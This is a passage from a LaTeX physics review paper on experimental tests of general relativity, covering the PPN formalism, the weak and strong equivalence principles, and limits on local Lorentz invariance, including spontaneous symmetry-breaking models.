\cite{RoberstonCarter91,Lebach95,Shapiro_SS_etal_2004}. Lunar
laser ranging $\sim 0.011 $ verification of GR via
precision measurements of the lunar orbit
\cite{Ken_LLR68,Ken_LLR91,Ken_LLR30years99,Ken_LLR_PPNprobe03,JimSkipJean96,Williams_etal_2001,Williams_Turyshev_Boggs_2004}. Finally, the recent
experiments with the Cassini spacecraft
improved the accuracy of the tests to $\sim 0.0023 $
\cite{cassini_ber}. As a result, GR became the
standard theory of gravity when astrometry and spacecraft
navigation are concerned.
To date, GR is also in agreement with the data
collected from the binary millisecond pulsars. In fact, recently a
considerable interest has been shown in the physical processes
occurring in the strong gravitational field regime with
relativistic pulsars providing a promising possibility to test
gravity in this qualitatively different dynamical environment. The
general theoretical framework for pulsar tests of strong-field
gravity was introduced in \cite{DamourTaylor92}; the observational
data for the initial tests were obtained with PSR1534
\cite{Taylor_etal92}. An analysis of strong-field gravitational
tests and their theoretical justification was presented in
\cite{Damour_EFarese96a,Damour_EFarese96b,Damour_EFarese98}. The
recent analysis of the pulsar data tested GR to
$\sim 0.04 $ at a $3 \sigma$ confidence level
\cite{lange_etal2001}.
In this Section we present the framework used to plan and analyze
the data in a weak-field and slow motion approximation which is
appropriate to describe dynamical conditions in the solar system.
\subsection{Metric Theories of Gravity and PPN Formalism}
Within the accuracy of modern experiments, the weak-field and slow
motion approximation provides a useful starting point for testing
the predictions of different metric theories of gravity in the
solar system. Following Fock \cite{Fock1,Fock2} and Chandrasekhar
\cite{Chandrasekhar_65}, a matter distribution in this
approximation is often represented by the perfect fluid model with
the density of energy-momentum tensor $\widehat{T}^{mn}$ as given
below:
\begin{equation} \widehat{T}^{mn}=\sqrt{-g}\Big(\Big[\rho_{0}( 1 + \Pi) +
p\Big]u^{m} u^{n} - p g^{mn} \Big), \label{eq:perfect-fl} \end{equation}
\noindent where $\rho_0$ is the mass density of the ideal fluid in
coordinates of the co-moving frame of reference, $u^k = {d z^k / d
s}$ are the components of invariant four-velocity of a fluid
element, and $p(\rho)$ is the isentropic pressure connected with
$\rho$ by an equation of state. The quantity $\rho\Pi$ is the
density of internal energy of an ideal fluid. The definition of
$\Pi$ results from the first law of thermodynamics, through the
equation $ u^n\big(\Pi_{;n} + p\big({1/ {\widehat
\rho}}\big)_{;n}\big) = 0 $, where the subscript $;n$ denotes a
covariant derivative, ${\widehat \rho}=\sqrt{-g}\rho_0u^0$ is the
conserved mass density (see further details in Refs.
\cite{Fock2,Chandrasekhar_65,Brumberg,Will1}). Given the
energy-momentum tensor, one finds the solutions of the
gravitational field equations for a particular theory of
gravity.\footnote{A powerful approach developing a weak-field
approximation for GR was presented in Refs.
\cite{DSX,Blanchet_etal_95,Damour_Vokrouhlicky_95}. It combines an
elegant ``Maxwell-like'' treatise of the spacetime metric in both
the {\it global} and {\it local} reference frames with the
Blanchet-Damour multipole formalism \cite{Blanchet_Damour_86}.
This approach is applicable for an arbitrary energy-stress tensor
and is suitable for addressing problems of strong field regime. Application of this method to a general N-body problem in a weak-field and slow motion approximation was developed in Ref.~\cite{Kopeikin_Vlasov_2004}.}
Metric theories of gravity have a special position among all the
other possible theoretical models. The reason is that,
independently of the many different principles at their
foundations, the gravitational field in these theories affects the
matter directly through the metric tensor $g_{mn}$, which is
determined from the field equations. As a result, in contrast to
Newtonian gravity, this tensor expresses the properties of a
particular gravitational theory and carries information about the
gravitational field of the bodies.
Generalizing on a phenomenological parameterization of the
gravitational metric tensor field, which Eddington originally
developed for a special case, a method called the parameterized
post-Newtonian (PPN) metric has been developed
\cite{Nordtvedt_1968a,Will_1971,Will_Nordtvedt_1972}. This method
represents the gravity tensor's potentials for slowly moving
bodies and weak inter-body gravity, and is valid for a broad class
of metric theories, including GR as a unique case.
The several parameters in the PPN metric expansion vary from
theory to theory, and they are individually associated with
various symmetries and invariance properties of the underlying
theory. Gravity experiments can be analyzed in terms of the PPN
metric, and an ensemble of experiments will determine the unique
value for these parameters, and hence the metric field itself.
As we know it today, observationally, GR is the most successful
theory so far as solar system experiments are concerned (see e.g.
\cite{Will2005} for an updated review). The implications of GR for
solar system gravitational phenomena are best addressed via the
PPN formalism for which the metric tensor of the general
Riemannian spacetime is generated by some given distribution of matter in the form of an ideal fluid, given by Eq.~(\ref{eq:perfect-fl}). It is represented by a sum of gravitational potentials with arbitrary coefficients, the PPN parameters. If, for simplicity, one assumes that Lorentz invariance, local position invariance and total momentum conservation hold, the metric tensor in four dimensions in the so-called PPN-gauge may be written\footnote{Note the geometrical units $\hbar=c=G=1$ are used throughout, as is the metric signature convention $(-+++)$.} as {}
\begin{eqnarray} g_{00}&=&-1+2U - 2\beta\, U^2 + 2(\gamma+1)\Phi_1
+2\Big[(3\gamma+1-2\beta)\Phi_2+\Phi_3+3\gamma\Phi_4\Big]+ {\cal
O}(c^{-5}), \\ \nonumber g_{0i} & = &-{1\over 2}(4\gamma+3)V_i-
{1\over2}W_i + {\cal O}(c^{-5}), \qquad
g_{ij}=\delta_{ij}(1+2\gamma U)+ {\cal O}(c^{-4}).
\label{eqno(1)} \end{eqnarray}
The order of magnitude of the various terms is
determined according to the rules $U \sim v^2 \sim \Pi \sim p/\rho
\sim \epsilon$, $v^i \sim |d/dt|/|d/dx| \sim \epsilon^{1/2}$. The
parameter $\gamma$ represents the measure of the curvature of the
spacetime created by the unit rest mass; the parameter $\beta$ is
the measure of the non-linearity of the law of superposition of
the gravitational fields in a theory of gravity or the measure of
the metricity. The generalized gravitational potentials,
proportional to $ U^2 $, result from integrating the energy-stress
density, Eq.~(\ref{eq:perfect-fl}), are given by {}
\begin{equation} U({\bf x},t) = \int d^3{\bf x}'{\rho_0 ({\bf x}',t) \over
|{\bf x}-{\bf x}'|}, \qquad V^\alpha({\bf x},t) = - \int d^3{\bf
x}'{\rho_0({\bf x}',t)v^\alpha ({\bf x}',t)\over |{\bf x}-{\bf
x}'|},\end{equation}
\begin{equation} W^i({\bf x},t) = \int d^3{\bf x}'\rho_0({\bf x}',t)v_j({\bf
x}',t) {(x^j-x'^j)(x^i-x'^i)\over|{\bf x}-{\bf x}'|^3}, \end{equation}
\begin{equation} \Phi_1({\bf x},t) = - \int d^3{\bf x}'{\rho_0({\bf x}',t) v^2
({\bf x}',t)\over |{\bf x}-{\bf x}'|},\qquad \Phi_{2} ({\bf x}',t)
= \int d^3{\bf x}' {\rho_0({\bf x}',t)U({\bf x}',t)\over|{\bf
x}-{\bf x}'|}, \end{equation}
\begin{equation} \Phi_{3}({\bf x},t) = \int d^3{\bf x}'{ \rho_0({\bf x}',t)
\Pi({\bf x}',t)\over |{\bf x}-{\bf x}'|}d^3z'^\nu, \qquad
\Phi_{4}({\bf x},t) = \int d^3{\bf x}' {p({\bf x}',t)\over |{\bf
x}-{\bf x}'|}. \label{eq:gen-pots} \end{equation}
In the complete PPN framework, a particular metric theory of
gravity in the PPN formalism with a specific coordinate gauge
might be fully characterized by means of ten PPN parameters
\cite{Will1,Turyshev96}. Thus, besides the parameters $\gamma,
\beta$, there other eight parameters $\alpha_1, \alpha_2,
\alpha_3, \zeta, \zeta_1,\zeta_2,\zeta_3,\zeta_4$. The formalism
uniquely prescribes the values of these parameters for each
particular theory under study. In the standard PPN gauge
\cite{Will1} these parameters have clear physical meaning, each
quantifying a particular symmetry, conservation law or fundamental
tenant of the structure of spacetime. Thus, in addition to the
parameters $\gamma$ and $\beta$ discussed above, the group of
parameters $\alpha_1, \alpha_2, \alpha_3$ specify the violation of
Lorentz invariance (or the presence of the privileged reference
frame), the parameter $\zeta$ quantifies the violation of the
local position invariance, and, finally, the parameters
$\zeta_1,\zeta_2,\zeta_3,\zeta_4$ reflect the violation of the law
of total momentum conservation for a closed gravitating system.
Note that GR, when analyzed in standard PPN gauge,
gives: $\gamma=\beta=1$ and all the other eight parameters vanish.
The Brans-Dicke theory \cite{Brans} is the best known of the
alternative theories of gravity. It contains, besides the metric
tensor, a scalar field and an arbitrary coupling constant
$\omega$, which yields the two PPN parameter values, $\beta=1$,
$\gamma= ( 1 + \omega ) / ( 2 + \omega )$, where $\omega$ is an unknown
dimensionless parameter of this theory. More general scalar tensor
theories (see Section \ref{sec:vacuum}) yield values of $\beta$
different from one
\cite{Damour_Nordtvedt_1993a}.
The main properties of the PPN metric tensor given by
Eqs.~(\ref{eqno(1)})-(\ref{eq:gen-pots}) are well established and
widely in use in modern astronomical practice
\cite{Moyer71,Moyer81,Turyshev96,Brumberg,Standish_etal_92,Will1}.
For practical purposes one uses this metric to generate the
equations of motion for the bodies of interest. These equations
are then used to produce numerical codes in relativistic orbit
determination formalisms for planets and satellites
\cite{Moyer81,Standish_etal_92,Turyshev96} as well as for
analyzing the gravitational experiments in the solar system
\cite{Will1,turyshev_acfc_2003}.
In what follows, we discuss the foundations of general theory of
relativity together with our current empirical knowledge on their
validity. We take the standard approach to GR
according to which the theory is supported by the following basic
tenants:
\begin{enumerate}
\item[1).] Equivalence Principle (EP), which states that
freely falling bodies do have the same acceleration
in the same gravitational field independent on their compositions,
which is also known as
the principle of universality of the
free fall (discussed in Section~\ref{sec:eep});
\item[2).] Local Lorentz invariance (LLI), which suggests that
clock rates are independent on the
clock's velocities (discussed in Section~\ref{LLI});
\item[3).] Local position invariance (LPI), which
postulates that clocks rates are also independent
on their spacetime positions (discussed in Section~\ref{LPI}).
\end{enumerate}
\subsection{The Equivalence Principle (EP)}
\label{sec:eep}
Since Newton, the question about the equality of inertial and
passive gravitational masses has risen in almost every theory of
gravitation. Thus, almost one hundred years ago Einstein
postulated that not only mechanical laws of motion, but also all
non-gravitational laws should behave in freely falling frames as
if gravity was absent. It is this principle that predicts
identical accelerations of compositionally different objects in
the same gravitational field, and also allows gravity to be viewed
as a geometrical property of spacetime--leading to the general
relativistic interpretation of gravitation.
Below we shall discuss two different ``flavors'' of the
Equivalence Principle, the weak and the strong forms of the EP
that are currently tested in various experiments performed with
laboratory tests masses and with bodies of astronomical sizes.
\subsubsection{The Weak Equivalence Principle (WEP)}
\label{sec:wep}
The weak form of the EP (the WEP) states that the gravitational
properties of strong and electro-weak interactions obey the EP. In
this case the relevant test-body differences are their fractional
nuclear-binding differences, their neutron-to-proton ratios, their
atomic charges, \textit{etc}.. Furthermore, the equality of gravitational
and inertial masses implies that different neutral massive test
bodies will have the same free fall acceleration in an external
gravitational field, and therefore in freely falling inertial
frames the external gravitational field appears only in the form
of a tidal interaction \cite{Singe_1960}. Apart from these tidal
corrections, freely falling bodies behave as if external gravity
is absent \cite{Anderson_etal_1996}.
According to GR, the light rays propagating near a gravitating
body are achromatically scattered by the curvature of the
spacetime generated by the body's gravity field. The entire
trajectory of the light ray is bent towards the body by an angle
depending on the strength of the body's gravity. In the solar
system, the sun's gravity field produces the largest effect,
deflecting the light by as much as $1.75'' \cdot (R_{\odot} / b)$,
where $R_{\odot}$ is the solar radius and $b$ is the
impact parameter. The Eddington's 1919 experiment confirmed the fact that
photons obey the laws of free fall in a gravitational field as
predicted by GR. The original accuracy was only 10\% which
was recently improved to 0.0023\% by a solar conjunction
experiment performed with the Cassini spacecraft
\cite{cassini_ber}.
The Pound-Rebka experiment, performed in 1960,
further verified effects of gravity on light by testing the
universality of gravity-induced frequency shift, $\Delta \nu$, that follows from
the WEP:
\begin{equation} {\Delta \nu \over \nu} = {g h \over c^2} = (2.57 \pm 0.26)
\times 10^{-15}, \label{eq:1.15} \end{equation} \noindent
\noindent where $g$ is the acceleration of gravity and $h$ the height of
fall \cite{Pound-Rebka}.
The WEP can be scrutinized by studying the free fall of
antiprotons and antihydrogen, even though the experimental
obstacles are considerable; the subject has been extensively
reviewed in Ref. \cite{Nieto}. This would help investigating to
what extent does gravity respect the fundamental CPT symmetry of
local quantum field theories, namely if antiparticles fall as
particles in a gravitational field. As we shall see later, CPT
symmetry may be spontaneously broken in some string/M-theory
vacua's; some implications of this will also be mentioned in the
context of the validity Local Lorentz invariance. The ATHENA
(ApparaTus for High precision Experiments on Neutral Antimatter)
and the ATRAP collaborations at CERN have developed techniques to deal with the
difficulties of storing antiprotons and creating an antihydrogen
atom (see Refs. \cite{Athena,Atrap} for recent accounts), but no
gravitational has been performed so far.
On the other hand, the former CPLEAR Collaboration has reported on
a test of the WEP involving neutral kaons \cite{Apostolakis}, with
limits of $6.5$, $4.3$ and $1.8 \times 10^{-9}$ respectively for
scalar, vector and tensor potentials originating from the sun with
a range much greater than 1~AU acting on kaons and antikaons.
Despite their relevance, these results say nothing about new
forces that couple to the baryon number, and therefore are at best
complementary to further tests yet to be performed with
antiprotons and antihydrogen atoms.
Most extensions to GR are metric in nature, that is, they assume that
the WEP is valid. However, as emphasized by
\cite{Damour_1996,Damour_2001}, almost all extensions to the
standard model of particle physics generically predict new forces
that would show up as apparent violations of the EP; this occurs
specially in theories containing macroscopic-range quantum fields
and thus predicting quantum exchange forces that generically
violate the WEP, as they couple to generalized ``charges'', rather
than to mass/energy as does gravity
\cite{Damour_Polyakov_1994a}.
In a laboratory, precise tests of the EP can be made by comparing
the free fall accelerations, $a_1$ and $a_2$, of different test
bodies. When the bodies are at the same distance from the source
of the gravity, the expression for the equivalence principle takes
the elegant form
\begin{equation} {\Delta a \over a} = {2(a_1- a_2) \over a_1 + a_2} =
\left({M_G \over M_I}\right)_{\hskip -3pt 1} -\left({M_G \over
M_I}\right)_{\hskip -3pt 2} = \Delta\left({M_G \over
M_I}\right), \label{WEP_da} \end{equation}
\noindent where $M_G$ and $M_I$ are the gravitational and inertial
masses of each body. The sensitivity of the EP test is determined
by the precision of the differential acceleration measurement
divided by the degree to which the test bodies differ (\textit{e.g.}
composition).
The WEP has been subject to various laboratory tests throughout
the years. In 1975, Collela, Overhauser and Werner \cite{Collela}
showed with their interferometric experiment that a neutron beam
split by a silicon crystal traveling through distinct
gravitational paths interferes as predicted by the laws of quantum
mechanics, with a gravitational potential given by Newtonian
gravity, thus enabling an impressive verification of the WEP
applied to an elementary hadron. Present-day technology has achieved
impressive limits for the interferometry of atoms rising against
gravity, of order $3 \times 10^{-8}$ \cite{Kasevich}.
Various experiments have been performed to measure the ratios of
gravitational to inertial masses of bodies. Recent experiments on
bodies of laboratory dimensions verify the WEP to a fractional
precision~$\Delta(M_G/M_I) \lesssim 10^{-11}$ by
\cite{Roll_etal_1964}, to $\lesssim 10^{-12}$ by
\cite{Braginsky_Panov_1972,Su_etal_1994} and more recently to a
precision of $\lesssim 1.4\times 10^{-13}$ \cite{Adelberger_2001}.
The accuracy of these experiments is sufficiently high to confirm
that the strong, weak, and electromagnetic interactions each
contribute equally to the passive gravitational and inertial
masses of the laboratory bodies. A review of the most recent
laboratory tests of gravity can be found in Ref. \cite{Gundlach}.
Quite recently, Nesvizhevsky and collaborators have reported
evidence for the existence of gravitational bound states of
neutrons \cite{Nesvizhevsky}; the experiment was, at least conceptually,
put forward long ago, in 1978 \cite{Luschikov}. Subsequent steps
towards the final experiment are described in Ref.
\cite{Nesvizhevsky1}. This consists in allowing ultracold neutrons
from a source at the Institute Laue-Langevin reactor in Grenoble
to fall towards a horizontal mirror under the influence of the
Earth's gravitational field. This potential confines the motion of
the neutrons, which do not move continuously vertically, but
rather jump from one height to another as predicted by quantum
mechanics. It is reported that the minimum measurable energy is of
$1.4 \times 10^{-12}~\mbox{eV}$, corresponding to a vertical velocity of
$1.7$~cm/s. A more intense beam and an enclosure mirrored on all
sides could lead to an energy resolution down to $10^{-18}~\mbox{eV}$.
We remark that this experiment opens fascinating perspectives,
both for testing non-commutative versions of quantum mechanics, as
well as the connection of this theory with gravity
\cite{Bertolami18}. It also enables a new criteria for the
understanding the conditions for distinguishing quantum from
classical behavior in function of the size of an observed system
\cite{Bertolami19}.
This impressive evidence of the WEP for laboratory bodies is incomplete for
astronomical body scales. The experiments searching for WEP
violations are conducted in laboratory environments that utilize
test masses with negligible amounts of gravitational self-energy
and therefore a large scale experiment is needed to test the
postulated equality of gravitational self-energy contributions to
the inertial and passive gravitational masses of the bodies
\cite{Nordtvedt_1968a}. Recent analysis of the lunar laser ranging
data demonstrated that no composition-dependent acceleration
effects \cite{Baessler_etal_1999} are present.
Once the self-gravity of the test bodies is non-negligible
(currently with bodies of astronomical sizes only), the
corresponding experiment will be testing the ultimate version of
the EP -- the strong equivalence principle, that is discussed
below.
\subsubsection{The Strong Equivalence Principle (SEP)}
\label{sec:sep}
In its strong form the EP is extended to cover the gravitational
properties resulting from gravitational energy itself. In other
words, it is an assumption about the way that gravity begets
gravity, i.e. about the non-linear property of gravitation.
Although GR assumes that the SEP is exact,
alternate metric theories of gravity such as those involving
scalar fields, and other extensions of gravity theory, typically
violate the SEP
\cite{Nordtvedt_1968a,Nordtvedt_1968b,Ken_LLR68,Nordtvedt_1991}.
For the SEP case, the relevant test body differences are the
fractional contributions to their masses by gravitational
self-energy. Because of the extreme weakness of gravity, SEP test
bodies that differ significantly must have astronomical sizes.
Currently, the Earth-Moon-Sun system provides the best solar
system arena for testing the SEP.
A wide class of metric theories of gravity are described by the
parameterized post-Newtonian formalism
\cite{Nordtvedt_1968b,Will_1971,Will_Nordtvedt_1972}, which allows
one to describe within a common framework the motion of celestial
bodies in external gravitational fields. Over the last 35 years,
the PPN formalism has become a useful framework for testing the
SEP for extended bodies. To facilitate investigation of a possible
violation of the SEP, in that formalism the ratio between
gravitational and inertial masses, $M_G/M_I$, is expressed
\cite{Nordtvedt_1968a,Nordtvedt_1968b} as
\begin{equation} \left[{M_G \over M_I}\right]_{\tt SEP} = 1 +
\eta\left({\Omega \over Mc^2}\right), \label{eq:MgMi} \end{equation}
\noindent where $M$ is the mass of a body, $\Omega $ is the body's
(negative) gravitational self-energy, $Mc^2$ is its total
mass-energy, and $\eta$ is a dimensionless constant for SEP
violation \cite{Nordtvedt_1968a,Nordtvedt_1968b,Ken_LLR68}.
Any SEP violation is quantified by the parameter $\eta$: in
fully-conservative, Lorentz-invariant theories of gravity
\cite{Will1,Will_2001} the SEP parameter is related to the PPN
parameters by $ \eta = 4\beta - \gamma -3$. In GR
$\gamma = \beta = 1$, so that $\eta = 0$.
The self energy of a body $B$ is given by
\begin{equation} \left({\Omega \over Mc^2}\right)_B = - {G \over 2 M_B
c^2}\int_B d^3{\bf x} d^3{\bf y} {\rho_B({\bf x})\rho_B({\bf y})
\over | {\bf x} - {\bf y}|}. \label{eq:omega} \end{equation}
\noindent For a sphere with a radius $R$ and uniform density,
$\Omega /Mc^2 = -3GM/5Rc^2 = -3 v_E^2/10 c^2$, where $v_E$ is the
escape velocity. Accurate evaluation for solar system bodies
requires numerical integration of the expression of
Eq.~(\ref{eq:omega}). Evaluating the standard solar model
\cite{Ulrich_1982} results in $(\Omega /Mc^2)_\odot \sim -3.52 \times
10^{-6}$. Because gravitational self-energy is proportional to
$M^2$ and also because of the extreme weakness of gravity, the
typical values for the ratio $(\Omega /Mc^2)$ are $\sim 10^{-25}$
for bodies of laboratory sizes. Therefore, the experimental
accuracy of a part in $10^{13}$ \cite{Adelberger_2001} which is so
useful for the WEP is not sufficient to test on how gravitational
self-energy contributes to the inertial and gravitational masses
of small bodies. To test the SEP one must consider planetary-sized
extended bodies, where the ratio Eq.~(\ref{eq:omega}) is
considerably higher.
Nordtvedt \cite{Nordtvedt_1968a,Ken_LLR68,Nordtvedt_1970}
suggested several solar system experiments for testing the SEP.
One of these was the lunar test. Another, a search for the SEP
effect in the motion of the Trojan asteroids, was carried out by
\cite{Orellana_Vucetich_1988,Orellana_Vucetich_1993}.
Interplanetary spacecraft tests have been considered by
\cite{Anderson_etal_1996} and discussed
\cite{Anderson_Williams_2001}. An experiment employing existing
binary pulsar data has been proposed \cite{Damour_Schafer_1991}.
It was pointed out that binary pulsars may provide an excellent
possibility for testing the SEP in the new regime of strong
self-gravity
\cite{Damour_EFarese96a,Damour_EFarese96b},
however the corresponding tests have yet to reach competitive
accuracy \cite{Wex_2001,Lorimer_Freire_2004}.
To date, the Earth-Moon-Sun system has provided the most accurate
test of the SEP; recent analysis of LLR data test the EP to a high
precision, yielding $\Delta (M_G/M_I)_{\tt EP}
=(-1.0\pm1.4)\times10^{-13}$ \cite{Williams_Turyshev_Boggs_2004}.
This result corresponds to a test of the SEP of $\Delta
(M_G/M_I)_{\tt SEP} =(-2.0\pm2.0)\times10^{-13}$ with the SEP
violation parameter $\eta=4\beta-\gamma-3$ found to be
$\eta=(4.4\pm4.5)\times 10^{-4}$. Using the recent Cassini result
for the PPN parameter $\gamma$, PPN parameter $\beta$ is
determined at the level of $\beta-1=(1.2\pm1.1)\times 10^{-4}$
(see more details in \cite{Williams_Turyshev_Boggs_2004}).
\subsection{Local Lorentz Invariance (LLI)}
\label{LLI}
Invariance under Lorentz transformations states that the laws of
physics are independent of the frame velocity; this is an underlying
symmetry of all current
physical theories. However, some evidence recently found in the
context of string field theory indicates that this symmetry can be
spontaneously broken. Naturally, the experimental verification of
this breaking poses a significant challenge. It has already been
pointed out that astrophysical observations of distant sources of gamma
radiation could hint what is the nature of gravity-induced wave
dispersion in vacuum \cite{Amelino1, Biller} and therefore points
towards physics beyond the Standard Model of Particles
and Fields (hereafter -- Standard Model). Limits on Lorentz
symmetry violation based on the observations of high-energy cosmic
rays with energies beyond $5 \times 10^{19}~\mbox{eV}$, the so-called
Greisen-Zatsepin-Kuzmin (GKZ) cut-off \cite{Greisen}, have also
been discussed \cite{Sato,Coleman,Mestres,Bertolami2}.
A putative violation of Lorentz symmetry has been a repeated
object of interest in the literature. A physical description of
the effect of our velocity with respect to a presumably preferred
frame of reference relies on a constant background cosmological
vector field, as suggested in \cite{Phillips}. Based on the
behavior of the renormalization group $\beta$-function of
non-abelian gauge theories, it has also been argued that Lorentz
invariance could be just a low-energy symmetry \cite{Nielsen}.
Lorentz symmetry breaking due to non-trivial solutions of string
field theory was first discussed in Ref. \cite{Kostelecky1}. These
arise from the string field theory of open strings and may have
implications for low-energy physics. For instance, assuming that
the contribution of Lorentz-violating interactions to the vacuum
energy is about half of the critical density implies that feeble
tensor-mediated interactions in the range of $ \sim 10^{-4}$~m should
exist \cite{Bertolami3}. Furthermore, Lorentz violation may induce
the breaking of conformal symmetry; this, together with inflation
may explain the origin of the primordial magnetic fields required
to explain the observed galactic magnetic field \cite{Bertolami4}.
Also, violations of Lorentz invariance may imply in a breaking of
the fundamental CPT symmetry of local quantum field theories
\cite{Kostelecky}. Quite remarkably, this can be experimentally
verified in neutral-meson \cite{Kostelecky2}
experiments,\footnote{These CPT violating effects are unrelated
with those due to possible non-linearities in quantum mechanics,
presumably arising from quantum gravity and already investigated
by the CPLEAR Collaboration \cite{Adler}.} Penning-trap
measurements \cite{Bluhm1} and hydrogen-antihydrogen spectroscopy
\cite{Bluhm2}. This spontaneous breaking of CPT symmetry allows
for an explanation of the baryon asymmetry of the Universe: in the
early Universe, , after the breaking of the Lorentz and CPT
symmetries, tensor-fermion interactions in the low-energy limit of
string field theories give rise to a chemical potential that
creates in equilibrium a baryon-antibaryon asymmetry in the
presence of baryon number violating interactions
\cite{Bertolami5}.
Limits on the violation of Lorentz symmetry are available from
laser interferometric versions of the Michelson-Morley experiment,
by comparing the velocity of light, $c$ and the maximum attainable
velocity of massive particles, $c_i$, up to $\delta \equiv
|c^2/c_{i}^2 - 1| < 10^{-9}$ \cite{Brillet}. More accurate tests
can be performed via the Hughes-Drever experiment \cite{Hughes,
Drever}, where one searches for a time dependence of the
quadrupole splitting of nuclear Zeeman levels along Earth's orbit.
This technique achieves an impressive limit of $\delta < 3 \times
10^{-22}$ \cite{Lamoreaux}. A recent reassessment of these results
reveals that more stringent bounds can be reached, up to 8 orders
of magnitude higher \cite{Kostelecky3}. The parameterized
post-Newtonian parameter $\alpha_{3}$ can be used to set
astrophysical limits on the violation of momentum conservation and
the existence of a preferred reference frame. This parameter,
which vanishes identically in GR can be accurately determined from
the pulse period of pulsars and millisecond pulsars
\cite{Will2005, Bell}. The most recent results yields a limit
on the PPN parameter $\alpha_3$
of $|\alpha_{3}| < 2.2 \times 10^{-20}$ \cite{BellD}.
After the cosmic microwave background radiation (CMBR) has been
discovered, an analysis of the interaction between the most
energetic cosmic-ray particles and the microwave photons was
mandatory. As it turns out, the propagation of the
ultra-high-energy nucleons is limited by inelastic collisions with
photons of the CMBR, preventing nucleons
with energies above $5 \times 10^{19}~\mbox{eV}$ from reaching Earth
from further than 50--100~$\mbox{Mpc}$. This is the already mentioned
GZK cut-off \cite{Greisen}. However, events where the estimated
energy of the cosmic primaries is beyond the GZK cut-off where
observed by different collaborations
\cite{Yoshida,Bird,Brooke,Efimov}. It has been suggested
\cite{Sato,Coleman} (see also \cite{Mestres}) that slight
violations of Lorentz invariance would cause energy-dependent
effects that would suppress otherwise inevitable processes such as
the resonant scattering reaction, $p + \gamma_{2.73K} \rightarrow
\Delta_{1232}$. The study of the kinematics of this process produces
a quite stringent constraint on the validity of Lorentz invariance,
$\delta < 1.7 \times 10^{-25}$ \cite{Bertolami2,Bertolami6}.
Quite recently, the High Resolution Fly's Eye collaboration
suggested that the gathered data show that the GZK cutoff holds
for their span of observations \cite{Abbasi}. Confirmation of this
result is of great importance, and the coming into operation of
the Auger collaboration \cite{Auger} in the near future will
undoubtedly provide further insight into this fundamental
question. It is also worth mentioning that the breaking of Lorentz
invariance can occur in the context of non-commutative field
theories \cite{Carroll}, even though this symmetry may hold (at
least) at first non-trivial order in perturbation theory of the
non-commutative parameter \cite{Bertolami15}. Actually, the idea
that the non-commutative parameter may be a Lorentz tensor has
been considered in some field theory models \cite{Bertolami16}.
Also, Lorentz symmetry can be broken in loop quantum gravity
\cite{Gambini}, quantum gravity inspired spacetime foam scenarios
\cite{Garay} or via the spacetime variation of fundamental
coupling constants \cite{Lehnert}. For a fairly complete review
about Lorentz violation at high-energies the reader is directed to
Ref.~\cite{Mattingly}. Note that a gravity model where LLI is
spontaneously broken was proposed in Ref.
\cite{Kostelecky4,Kostelecky5} and solutions where discussed in
Ref. \cite{Bertolami-Paramos2005a}.
\subsubsection{Spontaneous Violation of Lorentz Invariance}
The impact of a spontaneous violation of Lorentz invariance on
theories of gravity is of great interest. In this context, the
breaking of Lorentz invariance may be implemented, for instance,
by allowing a vector field to roll to its vacuum expectation
value. This mechanism requires that the potential that rules the
dynamics of the vector field possesses a minimum, in the way
similar to the Higgs mechanism \cite{Kostelecky4}. This,
so-called, ``bumblebee'' vector thus acquires an explicit
(four-dimensional) orientation, and Lorentz symmetry is
spontaneously broken. The action of the bumblebee model is written
as
\begin{equation} S = \int d^4 x \sqrt{-g} \left[{1 \over 2 \kappa} \left( R + \xi
B^\mu B^\nu R_{\mu\nu} \right) - {1 \over 4} B^{\mu\nu} B_{\mu\nu}
- V(B^\mu B_\mu \pm b^2 ) \right]~~, \end{equation}
\noindent where $B_{\mu\nu} = \partial_\mu B_\nu -
\partial_\nu B_\mu$, $\xi$ and $b^2$ are a real coupling constant and a free
real positive constant, respectively. The potential $V$ driving
Lorentz and/or CPT violation is supposed to have a minimum at $
B^\mu B_\mu \pm b^2 = 0 $, $V'(b_\mu b^\mu)=0$. Since one assumes
that the bumblebee field $B_\mu$ is frozen at its vacuum
expectation value, the particular form of the potential driving
its dynamics is irrelevant. The scale of $b_\mu$, which controls
the symmetry breaking, must be derived from a fundamental theory,
such as string theory or from a low-energy extension to the
Standard Model; hence one expects either $b$ of order of the Planck mass, $M_P = 1.2 \times 10^{19}$~GeV, or of order of the electroweak
breaking scale, $M_{EW} \simeq 10^2$~GeV.
Previously, efforts to quantify an hypothetical breaking of
Lorentz invariance were primarily directed towards the
phenomenology of such spontaneous Lorentz symmetry breaking in
particle physics. Only recently its implications for gravity have
been more thoroughly explored \cite{Kostelecky4, Kostelecky5}. In
that work, the framework for the LSB gravity model is set up,
developing the action and using the \textit{vielbein} formalism. A
later study \cite{Bertolami-Paramos2005a} considered consequences
of such a scenario, assuming three plausible cases: i) the
bumblebee field acquires a purely radial vacuum expectation value,
ii) a mixed radial and temporal vacuum expectation value and iii)
a mixed axial and temporal vacuum expectation value.
In the first case, an exact black hole solution was found,
exhibiting a deviation from the inverse square law such that the
gravitational potential of a point mass at rest depends on the
radial coordinate as $r^{-1+p}$ where $p$ is a parameter related
to the fundamental physics underlying the breaking of Lorentz
invariance. This solution has a removable singularity at a horizon
of radius $r_s = (2M r_0^{-p})^{1/(1-p)}$, slightly perturbed with
respect to the usual Scharzschild radius $r_{s0} = 2M$, which
protects a real singularity at $r=0$. Known deviations from
Kepler's law yield $p \leq 2 \times 10^{-9}$.
In the second case, no exact solutions was discovered, although a
perturbative method allowed for the characterization of the
Lorentz symmetry breaking in terms of the PPN parameters $ \beta
\approx 1 - (K + K_r)/ M$ and $\gamma \approx 1 - (K + 2 K_r) /
M$, directly proportional to the strength of the induced effect,
given by $K$ and $K_r \sim K$, where $K$ and $K_r$ are integration
constants arising from the perturbative treatment of the timelike
spontaneous LSB superimposed on the vacuum Scharzschild metric. An
analogy with Rosen's bimetric theory yields the parameter $\gamma
\simeq (A + B)d$, where $d$ is the distance to the central body
and $A$ and $B$ rule the temporal and radial components of the
vector field vacuum expectation value.
In the third case, a temporal/axial vacuum expectation value for
the bumblebee vector field clearly breaks isotropy, thus
forbidding a standard PPN analysis. However, for the case of the
breaking of Lorentz invariance occurring in the $x_1$ direction,
similar direction-dependent PPN-like parameters were defined as $
\gamma_1 \simeq b^2 \cos^2 \theta /2$ and $\gamma_2 \simeq a^2 b^2
\cos^2 \theta / 4$, where $a$ and $b$ are proportional respectively
to the temporal and axial components of the vacuum expectation
value acquired by the bumblebee. This enables a crude estimative
of the measurable PPN parameter $\gamma$, yielding $ \gamma
\approx b^2(1-e^2)/4$, where $e$ is the orbit's eccentricity. A
comparison with experiments concerning the anisotropy of inertia
yields $ |b| \leq 2.4 \times 10^{-11} $ \cite{Lamoreaux}.
